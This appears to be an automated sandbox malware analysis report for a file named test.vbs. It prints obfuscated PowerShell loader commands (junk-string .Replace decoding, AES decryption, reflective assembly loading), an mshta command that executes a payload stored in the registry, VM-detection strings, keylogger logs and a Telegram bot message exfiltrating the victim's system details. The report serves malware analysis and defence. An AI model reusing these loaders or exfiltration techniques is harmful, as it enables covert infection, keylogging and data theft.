C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlthbn34.f3s.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p5d0nr3c.f3x.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5qwc3ou.rec.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w03kj1jx.t3u.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmuviqns.iv0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ztdfz4cb.u3m.psm1

C:\Users\user\AppData\Roaming\Firewall\2025-02-11

\Device\ConDrv

Windows Analysis Report
test.vbs

Source: powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA 3D
Source: powershell.exe, 00000005.00000002.1372476794.0000027F8062D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Video
Source: powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000006.00000002.1598957271.000001BEFA4CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: powershell.exe, 00000006.00000002.1594888684.000001BEFA483000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m Product889ROK88AE2742-2B8C-0221-A586-225B8451ACF0VMware, Inc.Noney*
Source: powershell.exe, 00000005.00000002.1372476794.0000027F80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F804DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1392320209.0000027FFEAD0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MDF5Z6ZO?Microsoft Basic Display Adapter/Microsoft Hyper-V Video
Source: powershell.exe, 00000006.00000002.1594888684.000001BEFA483000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: stringComputer System ProductComputer System Product889ROK88AE2742-2B8C-0221-A586-225B8451ACF0VMware, Inc.None7adc3
Source: powershell.exe, 00000006.00000002.1598957271.000001BEFA4CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: stringComputer System ProductComputer System Product889ROK88AE2742-2B8C-0221-A586-225B8451ACF0VMware, Inc.Noney*
Source: powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: powershell.exe, 00000006.00000002.1594888684.000001BEFA423000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW -%SystemRoot%\system32\mswsock.dllGkWQGkWOGkW4GkW=GkW[GkWRGkWeGkWfGkWlGkWeGkWcGkWtGkWiGkWoGkWnGkW.GkWAGkWsGkWsGkWeGkWmGkWbGkWlGkWyGkW]GkW:GkW:GkWLGkWoGkWaGkWdGkW(GkW[GkWbGkWyGkWtGkWeGkW[GkW]GkW]GkW$GkWIGkW9GkWCGkWGGkWVGkW)GkW'.Replace('GkW', ''); $qYlCF = $EHQ
Source: powershell.exe, 00000008.00000002.2791146764.000002255F828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWRL%SystemRoot%\system32\mswsock.dllRLYiRLYnRLYgRLY=RLY[RLYSRLYyRLYsRLYtRLYeRLYmRLY.RLYSRLYeRLYcRLYuRLYrRLYiRLYtRLYyRLY.RLYCRLYrRLYyRLYpRLYtRLYoRLYgRLYrRLYaRLYpRLYhRLYyRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLYMRLYoRLYdRLYeRLY]RLY:RLY:RLYPRLYKRLYCRLYSRLY7RLY'.Replace('

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "& {function iT93g([byte[]]$E3OXu) {Invoke-Expression -Debug -Verbose 'H6M$H6MwH6MhH6MBH6M3H6M2H6M=H6M[H6MSH6MyH6MsH6MtH6MeH6MmH6M.H6MTH6MeH6MxH6MtH6M.H6MEH6MnH6McH6MoH6MdH6MiH6MnH6MgH6M]H6M:H6M:H6MUH6MTH6MFH6M8H6M.H6MGH6MeH6MtH6MSH6MtH6MrH6MiH6MnH6MgH6M(H6M$H6MEH6M3H6MOH6MXH6MuH6M)H6M'.Replace('H6M', ''); return $whB32; } function tiw6l([byte[]]$ZUv5N) {Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 'DTC$DTCqDTCKDTCaDTCGDTCiDTC=DTC[DTCBDTCiDTCtDTCCDTCoDTCnDTCvDTCeDTCrDTCtDTCeDTCrDTC]DTC:DTC:DTCTDTCoDTCIDTCnDTCtDTC3DTC2DTC(DTC$DTCZDTCUDTCvDTC5DTCNDTC,DTC0DTC)DTC;DTC'.Replace('DTC', ''); return $qKaGi; } $H2oUx = iT93g(0x74<#AgF8G#>,0x52<#sotVh#>,0x6B<#IJTfo#>,0x58<#aq0EZ#>,0x43<#lRyb0#>,0x36<#LDjCA#>,0x6A<#DRhTQ#>,0x2B<#Nxos5#>,0x34<#AjnVW#>,0x5A<#vkssP#>,0x6F<#Nr7dJ#>,0x52<#lsoI1#>,0x59<#pErVd#>,0x62<#tlAPZ#>,0x79<#kBIJZ#>,0x47<#HncF5#>,0x70<#hU1xu#>,0x6F<#TUEJh#>,0x4D<#cJg0H#>,0x45<#w2R2e#>,0x75<#QkdTi#>,0x6B<#LjyD9#>,0x6B<#EPiNN#>,0x43<#YN4lF#>,0x59<#bh0r2#>,0x46<#bfRBe#>,0x42<#OWjkm#>,0x51<#D0iPg#>,0x34<#pgAJc#>,0x2F<#OkTmn#>,0x46<#k7qw7#>,0x79<#ntwbA#>,0x64<#lRwjs#>,0x34<#lp8kK#>,0x58<#gppFR#>,0x4F<#zhqOk#>,0x4B<#xLpYw#>,0x4E<#Qpxm0#>,0x58<#QDHOx#>,0x78<#bubbt#>,0x2B<#gmscA#>,0x45<#CSle7#>,0x67<#LDi0E#>,0x3D<#bmXwZ#>); $qBAgs = iT93g(0x4E<#C2Vu0#>,0x47<#diaRv#>,0x30<#MGPf7#>,0x52<#QdMXt#>,0x63<#AESom#>,0x50<#NfQKQ#>,0x37<#uWoBq#>,0x49<#mQ8mb#>,0x36<#Z2Tts#>,0x7A<#GxC3u#>,0x75<#DZACY#>,0x45<#yjqHj#>,0x65<#DRQB2#>,0x65<#tbNzN#>,0x6F<#Cek6P#>,0x32<#Hvj6e#>,0x46<#YcXZM#>,0x6F<#YWlmr#>,0x77<#Ik0CX#>,0x72<#KlS1z#>,0x34<#jkNpr#>,0x51<#dzExQ#>,0x3D<#KAunG#>,0x3D<#f40yY#>); $ZXcf8 = iT93g(0x53<#b0lHD#>,0x6F<#YnhiC#>,0x66<#bdsGx#>,0x74<#tOssn#>,0x77<#hRyWf#>,0x61<#I0N5w#>,0x72<#PudcT#>,0x65<#r8GlO#>,0x5C<#wRgut#>,0x4D<#lRnzO#>,0x69<#SMHLu#>,0x63<#LCPm3#>,0x72<#galvu#>,0x6F<#oAPw7#>,0x73<#uIGer#>,0x6F<#SvDmv#>,0x66<#tMXra#>,0x74<#EnRsF#>,0x5C<#qtdsl#>,0x57<#aquA7#>,0x69<#lC02U#>,0x6E<#LGneX#>,0x64<#X9m0B#>,0x6F<#VC3Vo#>,0x77<#HtgrI#>,0x73<#IoY3L#>); $hBkVc = iT93g(0x73<#jBCoD#>,0x31<#rVfXN#>,0x55<#zAwUn#>,0x6E<#qHnrL#>,0x62<#YwZWy#>); $B8Dta = tiw6l(0x00<#A7hB6#>,0x00<#O0RD9#>,0x00<#jXCyJ#>,0x00<#OM184#>); $iSxCm = tiw6l(0x45<#OOD4N#>,0x00<#ImgSK#>,0x00<#Ylexb#>,0x00<#UUo0E#>); $l8XQf = tiw6l(0x03<#CQs75#>,0x00<#GS7w6#>,0x00<#gTbLR#>,0x00<#o3nyw#>); $kzu3X = $null; function S2qwV($ti34n) {Invoke-Expression -Verbose -Debug -WarningAction Inquire 'Bqr$BqrEBqrLBqrpBqrtBqrFBqr=Bqr[BqrSBqryBqrsBqrtBqreBqrmBqr.BqrSBqreBqrcBqruBqrrBqriBqrtBqryBqr.BqrCBqrrBqryBqrpBqrtBqroBqrgBqrrBqraBqrpBqrhBqryBqr.BqrABqreBqrsBqr]Bqr:Bqr:BqrCBqrrBqreBqraBqrtBqreBqr(Bqr)Bqr;Bqr'.Replace('Bqr', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore 'l3m$l3mEl3mLl3mpl3mtl3mFl3m.l3mMl3mol3mdl3mel3m=l3m[l3mSl3myl3msl3mtl3mel3mml3m.l3mSl3mel3mcl3mul3mrl3mil3mtl3myl3m.l3mCl3mrl3myl3mpl3mtl3mol3mgl3	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function Ib6pi([byte[]]$Sf4DZ) {Invoke-Expression -Verbose -WarningAction Inquire -Debug 'O2o$O2ocO2oqO2o1O2oaO2oGO2o=O2o[O2oSO2oyO2osO2otO2oeO2omO2o.O2oTO2oeO2oxO2otO2o.O2oEO2onO2ocO2ooO2odO2oiO2onO2ogO2o]O2o:O2o:O2oUO2oTO2oFO2o8O2o.O2oGO2oeO2otO2oSO2otO2orO2oiO2onO2ogO2o(O2o$O2oSO2ofO2o4O2oDO2oZO2o)O2o'.Replace('O2o', ''); return $cq1aG; } function Smsgn([byte[]]$TYS1W) {Invoke-Expression -Verbose -InformationAction Ignore 'StI$StIrStIwStIZStIwStIHStI=StI[StIBStIiStItStICStIoStInStIvStIeStIrStItStIeStIrStI]StI:StI:StITStIoStIIStInStItStI3StI2StI(StI$StITStIYStISStI1StIWStI,StI0StI)StI;StI'.Replace('StI', ''); return $rwZwH; } $yOU0b = Ib6pi(0x74<#chvvk#>,0x52<#u2CEY#>,0x6B<#MVTFN#>,0x58<#YiCr7#>,0x43<#K8mg9#>,0x36<#UhqQ4#>,0x6A<#cQm2O#>,0x2B<#flcxM#>,0x34<#OY2RT#>,0x5A<#ALzz6#>,0x6F<#zoKd3#>,0x52<#d4OvL#>,0x59<#SLwJ0#>,0x62<#zsa1m#>,0x79<#sFOep#>,0x47<#qGVN9#>,0x70<#Ks1U4#>,0x6F<#uGJ9p#>,0x4D<#kWql0#>,0x45<#EmsaU#>,0x75<#Ov8NF#>,0x6B<#uZpyF#>,0x6B<#XiBw9#>,0x43<#hUbO7#>,0x59<#ujaL4#>,0x46<#ZYnnj#>,0x42<#JY42r#>,0x51<#WtnPA#>,0x34<#YaV4N#>,0x2F<#HV4mN#>,0x46<#nKdcb#>,0x79<#lUwSl#>,0x64<#awCO3#>,0x34<#CnIFi#>,0x58<#uqMOd#>,0x4F<#YNg7w#>,0x4B<#HeBay#>,0x4E<#A4cb9#>,0x58<#F6Vnf#>,0x78<#kXGAK#>,0x2B<#ZMzDT#>,0x45<#E8P88#>,0x67<#Zyzgc#>,0x3D<#Auma2#>); $pKdS6 = Ib6pi(0x4E<#HLrGc#>,0x47<#xVisw#>,0x30<#EHfxR#>,0x52<#wp7Gt#>,0x63<#Cpdce#>,0x50<#OHyLe#>,0x37<#xvqHB#>,0x49<#PetlW#>,0x36<#lZgM3#>,0x7A<#TTBOg#>,0x75<#Rxgr0#>,0x45<#YsPlK#>,0x65<#qhXNz#>,0x65<#QaXw9#>,0x6F<#W6Vt9#>,0x32<#gIQiG#>,0x46<#yGjpJ#>,0x6F<#HP9Ri#>,0x77<#dPHbh#>,0x72<#KCTWk#>,0x34<#x6PPE#>,0x51<#VbwrN#>,0x3D<#RcqfM#>,0x3D<#l7sEq#>); $mxwaP = Ib6pi(0x53<#DbFNZ#>,0x6F<#Jy4Lx#>,0x66<#ez47J#>,0x74<#B1Uku#>,0x77<#kcRDO#>,0x61<#GimOz#>,0x72<#MUPpg#>,0x65<#a0Bz2#>,0x5C<#ehl3n#>,0x4D<#ZitVL#>,0x69<#smHT8#>,0x63<#fJC9S#>,0x72<#hMqWi#>,0x6F<#NkObo#>,0x73<#IzfrK#>,0x6F<#J1Yat#>,0x66<#dzRC7#>,0x74<#fM5r5#>,0x5C<#RyBgP#>,0x57<#T0PUW#>,0x69<#vTRqA#>,0x6E<#BHZJx#>,0x64<#mvlQt#>,0x6F<#p5nY6#>,0x77<#DohgT#>,0x73<#Sx8cw#>); $RGohu = Ib6pi(0x6B<#QlDDy#>,0x70<#NhkB5#>,0x44<#Zww3K#>,0x53<#eNvxb#>,0x46<#XM0XT#>); $RwltO = Smsgn(0x00<#h5SFV#>,0x00<#ucupc#>,0x00<#MID9v#>,0x00<#HXOXF#>); $ewoV8 = $true; $jOK5y = $null; function Yz1Gd($VHgBC) {Invoke-Expression -WarningAction Inquire -Debug -Verbose -InformationAction Ignore 'CKA$CKAeCKAyCKAyCKAQCKAHCKA=CKA[CKASCKAyCKAsCKAtCKAeCKAmCKA.CKASCKAeCKAcCKAuCKArCKAiCKAtCKAyCKA.CKACCKArCKAyCKApCKAtCKAoCKAgCKArCKAaCKApCKAhCKAyCKA.CKAACKAeCKAsCKA]CKA:CKA:CKACCKArCKAeCKAaCKAtCKAeCKA(CKA)CKA'.Replace('CKA', ''); Invoke-Expression -WarningAction Inquire -Verbose 'RHv$RHveRHvyRHvyRHvQRHvHRHv.RHvMRHvoRHvdRHveRHv=RHv[RHvSRHvyRHvsRHvtRHveRHvmRHv.RHvSRHveRHvcRHvuRHvrRHviRHvtRHvyRHv.RHvCRHvrRHvyRHvpRHvtRHvoRHvgRHvrRHvaRHvpRHvhRHvyRHv.RHvCRHviRHvpRHvhRHveRHvrRHvMRHvoRHvdRHveRHv]RHv:RHv:RHvCRHvBRHvCRHv'.Replace('RHv', ''); Invoke-Expression -Verbose -D	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function IrUjV([byte[]]$f9mpX) {Invoke-Expression -Verbose -Debug -InformationAction Ignore 'zZO$zZOSzZOfzZOYzZOszZO9zZO=zZO[zZOSzZOyzZOszZOtzZOezZOmzZO.zZOTzZOezZOxzZOtzZO.zZOEzZOnzZOczZOozZOdzZOizZOnzZOgzZO]zZO:zZO:zZOUzZOTzZOFzZO8zZO.zZOGzZOezZOtzZOSzZOtzZOrzZOizZOnzZOgzZO(zZO$zZOfzZO9zZOmzZOpzZOXzZO)zZO'.Replace('zZO', ''); return $SfYs9; } function SsYTA([byte[]]$MyDKV) {Invoke-Expression -WarningAction Inquire -Verbose 'RzW$RzWGRzWwRzW1RzWMRzWHRzW=RzW[RzWBRzWiRzWtRzWCRzWoRzWnRzWvRzWeRzWrRzWtRzWeRzWrRzW]RzW:RzW:RzWTRzWoRzWIRzWnRzWtRzW3RzW2RzW(RzW$RzWMRzWyRzWDRzWKRzWVRzW,RzW0RzW)RzW;RzW'.Replace('RzW', ''); return $Gw1MH; } $MXyPq = IrUjV(0x74, 0x52, 107, 88, 67, 54, 106, 0x2b, 0x34, 90, 0x6f, 82, 0x59, 0x62, 0x79, 0x47, 0x70, 111, 77, 69, 117, 0x6b, 0x6b, 0x43, 89, 0x46, 0x42, 81, 0x34, 47, 70, 121, 0x64, 0x34, 0x58, 79, 0x4b, 0x4e, 0x58, 120, 0x2b, 69, 103, 61); $lsxMg = IrUjV(0x4e, 0x47, 48, 82, 99, 80, 55, 0x49, 0x36, 122, 0x75, 69, 0x65, 0x65, 0x6f, 0x32, 0x46, 111, 119, 114, 52, 0x51, 0x3d, 0x3d); $gYqop = IrUjV(0x53, 0x6f, 102, 116, 119, 97, 114, 0x65, 0x5c, 77, 0x69, 99, 0x72, 0x6f, 0x73, 0x6f, 0x66, 116, 92, 87, 105, 0x6e, 0x64, 0x6f, 119, 0x73); $QR3m4 = IrUjV(0x4a, 0x6d, 106, 53, 121); $Q21ag = IrUjV(0x67, 0x69, 69, 99, 67); $u2Okr = SsYTA(0x00, 0, 0, 0x00); $dXs3R = $true; $gnS0E = $null; function juypb($gsleS) {Invoke-Expression -Debug -WarningAction Inquire 'Fs5$Fs5wFs5GFs52Fs5gFs5lFs5=Fs5[Fs5SFs5yFs5sFs5tFs5eFs5mFs5.Fs5SFs5eFs5cFs5uFs5rFs5iFs5tFs5yFs5.Fs5CFs5rFs5yFs5pFs5tFs5oFs5gFs5rFs5aFs5pFs5hFs5yFs5.Fs5AFs5eFs5sFs5]Fs5:Fs5:Fs5CFs5rFs5eFs5aFs5tFs5eFs5(Fs5)Fs5'.Replace('Fs5', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug -Verbose 'hta$htawhtaGhta2htaghtalhta.htaMhtaohtadhtaehta=hta[htaShtayhtashtathtaehtamhta.htaShtaehtachtauhtarhtaihtathtayhta.htaChtarhtayhtaphtathtaohtaghtarhtaahtaphtahhtayhta.htaChtaihtaphtahhtaehtarhtaMhtaohtadhtaehta]hta:hta:htaChtaBhtaChta'.Replace('hta', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire 'RLY$RLYwRLYGRLY2RLYgRLYlRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLY=RLY[RLYSRLYyRLYsRLYtRLYeRLYmRLY.RLYSRLYeRLYcRLYuRLYrRLYiRLYtRLYyRLY.RLYCRLYrRLYyRLYpRLYtRLYoRLYgRLYrRLYaRLYpRLYhRLYyRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLYMRLYoRLYdRLYeRLY]RLY:RLY:RLYPRLYKRLYCRLYSRLY7RLY'.Replace('RLY', ''); Invoke-Expression -WarningAction Inquire -Verbose 'MnG$MnGwMnGGMnG2MnGgMnGlMnG.MnGKMnGeMnGyMnG=MnG[MnGSMnGyMnGsMnGtMnGeMnGmMnG.MnGCMnGoMnGnMnGvMnGeMnGrMnGtMnG]MnG:MnG:MnGFMnGrMnGoMnGmMnGBMnGaMnGsMnGeMnG6MnG4MnGSMnGtMnGrMnGiMnGnMnGgMnG(MnG$MnGMMnGXMnGyMnGPMnGqMnG)MnG'.Replace('MnG', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire 'BNK$BNKwBNKGBNK2BNKgBNKlBNK.BNKIBNKVBNK=BNK[BNKSBNKyBNKsBNKtBNKeBNKmBNK.BNKCBNKoBNKnBNKvBNKeBNKrBNKtBNK]BNK:BNK:BNKFBNKrBNKoBNKmBNKBBNKaBNKsBNKeBNK6BNK4BNKSBNKtBNKrBNKiBNKnBNKgBNK(BNK$BNKl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "& {function iT93g([byte[]]$E3OXu) {Invoke-Expression -Debug -Verbose 'H6M$H6MwH6MhH6MBH6M3H6M2H6M=H6M[H6MSH6MyH6MsH6MtH6MeH6MmH6M.H6MTH6MeH6MxH6MtH6M.H6MEH6MnH6McH6MoH6MdH6MiH6MnH6MgH6M]H6M:H6M:H6MUH6MTH6MFH6M8H6M.H6MGH6MeH6MtH6MSH6MtH6MrH6MiH6MnH6MgH6M(H6M$H6MEH6M3H6MOH6MXH6MuH6M)H6M'.Replace('H6M', ''); return $whB32; } function tiw6l([byte[]]$ZUv5N) {Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 'DTC$DTCqDTCKDTCaDTCGDTCiDTC=DTC[DTCBDTCiDTCtDTCCDTCoDTCnDTCvDTCeDTCrDTCtDTCeDTCrDTC]DTC:DTC:DTCTDTCoDTCIDTCnDTCtDTC3DTC2DTC(DTC$DTCZDTCUDTCvDTC5DTCNDTC,DTC0DTC)DTC;DTC'.Replace('DTC', ''); return $qKaGi; } $H2oUx = iT93g(0x74<#AgF8G#>,0x52<#sotVh#>,0x6B<#IJTfo#>,0x58<#aq0EZ#>,0x43<#lRyb0#>,0x36<#LDjCA#>,0x6A<#DRhTQ#>,0x2B<#Nxos5#>,0x34<#AjnVW#>,0x5A<#vkssP#>,0x6F<#Nr7dJ#>,0x52<#lsoI1#>,0x59<#pErVd#>,0x62<#tlAPZ#>,0x79<#kBIJZ#>,0x47<#HncF5#>,0x70<#hU1xu#>,0x6F<#TUEJh#>,0x4D<#cJg0H#>,0x45<#w2R2e#>,0x75<#QkdTi#>,0x6B<#LjyD9#>,0x6B<#EPiNN#>,0x43<#YN4lF#>,0x59<#bh0r2#>,0x46<#bfRBe#>,0x42<#OWjkm#>,0x51<#D0iPg#>,0x34<#pgAJc#>,0x2F<#OkTmn#>,0x46<#k7qw7#>,0x79<#ntwbA#>,0x64<#lRwjs#>,0x34<#lp8kK#>,0x58<#gppFR#>,0x4F<#zhqOk#>,0x4B<#xLpYw#>,0x4E<#Qpxm0#>,0x58<#QDHOx#>,0x78<#bubbt#>,0x2B<#gmscA#>,0x45<#CSle7#>,0x67<#LDi0E#>,0x3D<#bmXwZ#>); $qBAgs = iT93g(0x4E<#C2Vu0#>,0x47<#diaRv#>,0x30<#MGPf7#>,0x52<#QdMXt#>,0x63<#AESom#>,0x50<#NfQKQ#>,0x37<#uWoBq#>,0x49<#mQ8mb#>,0x36<#Z2Tts#>,0x7A<#GxC3u#>,0x75<#DZACY#>,0x45<#yjqHj#>,0x65<#DRQB2#>,0x65<#tbNzN#>,0x6F<#Cek6P#>,0x32<#Hvj6e#>,0x46<#YcXZM#>,0x6F<#YWlmr#>,0x77<#Ik0CX#>,0x72<#KlS1z#>,0x34<#jkNpr#>,0x51<#dzExQ#>,0x3D<#KAunG#>,0x3D<#f40yY#>); $ZXcf8 = iT93g(0x53<#b0lHD#>,0x6F<#YnhiC#>,0x66<#bdsGx#>,0x74<#tOssn#>,0x77<#hRyWf#>,0x61<#I0N5w#>,0x72<#PudcT#>,0x65<#r8GlO#>,0x5C<#wRgut#>,0x4D<#lRnzO#>,0x69<#SMHLu#>,0x63<#LCPm3#>,0x72<#galvu#>,0x6F<#oAPw7#>,0x73<#uIGer#>,0x6F<#SvDmv#>,0x66<#tMXra#>,0x74<#EnRsF#>,0x5C<#qtdsl#>,0x57<#aquA7#>,0x69<#lC02U#>,0x6E<#LGneX#>,0x64<#X9m0B#>,0x6F<#VC3Vo#>,0x77<#HtgrI#>,0x73<#IoY3L#>); $hBkVc = iT93g(0x73<#jBCoD#>,0x31<#rVfXN#>,0x55<#zAwUn#>,0x6E<#qHnrL#>,0x62<#YwZWy#>); $B8Dta = tiw6l(0x00<#A7hB6#>,0x00<#O0RD9#>,0x00<#jXCyJ#>,0x00<#OM184#>); $iSxCm = tiw6l(0x45<#OOD4N#>,0x00<#ImgSK#>,0x00<#Ylexb#>,0x00<#UUo0E#>); $l8XQf = tiw6l(0x03<#CQs75#>,0x00<#GS7w6#>,0x00<#gTbLR#>,0x00<#o3nyw#>); $kzu3X = $null; function S2qwV($ti34n) {Invoke-Expression -Verbose -Debug -WarningAction Inquire 'Bqr$BqrEBqrLBqrpBqrtBqrFBqr=Bqr[BqrSBqryBqrsBqrtBqreBqrmBqr.BqrSBqreBqrcBqruBqrrBqriBqrtBqryBqr.BqrCBqrrBqryBqrpBqrtBqroBqrgBqrrBqraBqrpBqrhBqryBqr.BqrABqreBqrsBqr]Bqr:Bqr:BqrCBqrrBqreBqraBqrtBqreBqr(Bqr)Bqr;Bqr'.Replace('Bqr', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore 'l3m$l3mEl3mLl3mpl3mtl3mFl3m.l3mMl3mol3mdl3mel3m=l3m[l3mSl3myl3msl3mtl3mel3mml3m.l3mSl3mel3mcl3mul3mrl3mil3mtl3myl3m.l3mCl3mrl3myl3mpl3mtl3mol3mgl3mr	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')	Jump to behavior

Source: powershell.exe, 00000008.00000002.2591788897.00000225493E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1><br>[<b>Program Manager - 16:38 UTC</b>]</p><br>
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE26F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Active Window Title: Program Manager
Source: powershell.exe, 00000005.00000002.1372476794.0000027F8063B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2591788897.00000225493E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE2655000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: {"ok":true,"result":{"message_id":13,"from":{"id":7813041927,"is_bot":true,"first_name":"Btc-CHAN","username":"btchanisaRobot"},"chat":{"id":-4630316859,"title":"Dex Notifications","type":"group","all_members_are_administrators":true},"date":1739291559,"photo":[{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANzAAM2BA","file_unique_id":"AQADFMUxG90ZWFF4","file_size":1105,"width":90,"height":72},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANtAAM2BA","file_unique_id":"AQADFMUxG90ZWFFy","file_size":13991,"width":320,"height":256},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN4AAM2BA","file_unique_id":"AQADFMUxG90ZWFF9","file_size":56772,"width":800,"height":640},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN5AAM2BA","file_unique_id":"AQADFMUxG90ZWFF-","file_size":119763,"width":1280,"height":1024}],"caption":"\u2728 New Hit \ud83d\udccd IP: 8.46.123.189\n\n\ud83d\udc49 User Name: user\n\ud83d\udc49 PC Name: 783875\n\ud83c\udf0d Country: \ud83c\uddfa\ud83c\uddf8United States (US)\n\u23f1\ufe0f Current Time: 2/11/2025 11:36:35 AM\n\n\ud83d\udee1 Antivirus: Windows Defender\n\ud83c\udffe CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, 2000 MHz\n\ud83d\udda5 RAM: 4095 MB\n\u2699\ufe0f HWID: 88AE2742-2B8C-0221-A586-225B8451ACF0\n\ud83c\udfae Active Window Title: Program Manager\n\ud83d\udd53 Uptime: 0 days, 1 hours, 9 minutes","caption_entities":[{"offset":2,"length":7,"type":"bold"},{"offset":17,"length":12,"type":"url"}]}}`
Source: powershell.exe, 00000008.00000002.2591788897.0000022549708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on Tuesday, 11 February 2025 16:38 UTC<br><br><style>.h { color: f76707; display: inline; }</style><p class="h"><br><br>[<b>Program Manager - 16:38 UTC</b>]</p><br><p class="h">[Win + R]</p>@
Source: powershell.exe, 00000008.00000002.2591788897.0000022549708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [<p class="h"><br><br>[<b>Program Manager - 16:38 UTC</b>]</p><br><p class="h">[Win + R]</p>
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE2817000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE2655000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: {"ok":true,"result":{"message_id":13,"from":{"id":7813041927,"is_bot":true,"first_name":"Btc-CHAN","username":"btchanisaRobot"},"chat":{"id":-4630316859,"title":"Dex Notifications","type":"group","all_members_are_administrators":true},"date":1739291559,"photo":[{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANzAAM2BA","file_unique_id":"AQADFMUxG90ZWFF4","file_size":1105,"width":90,"height":72},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANtAAM2BA","file_unique_id":"AQADFMUxG90ZWFFy","file_size":13991,"width":320,"height":256},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN4AAM2BA","file_unique_id":"AQADFMUxG90ZWFF9","file_size":56772,"width":800,"height":640},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN5AAM2BA","file_unique_id":"AQADFMU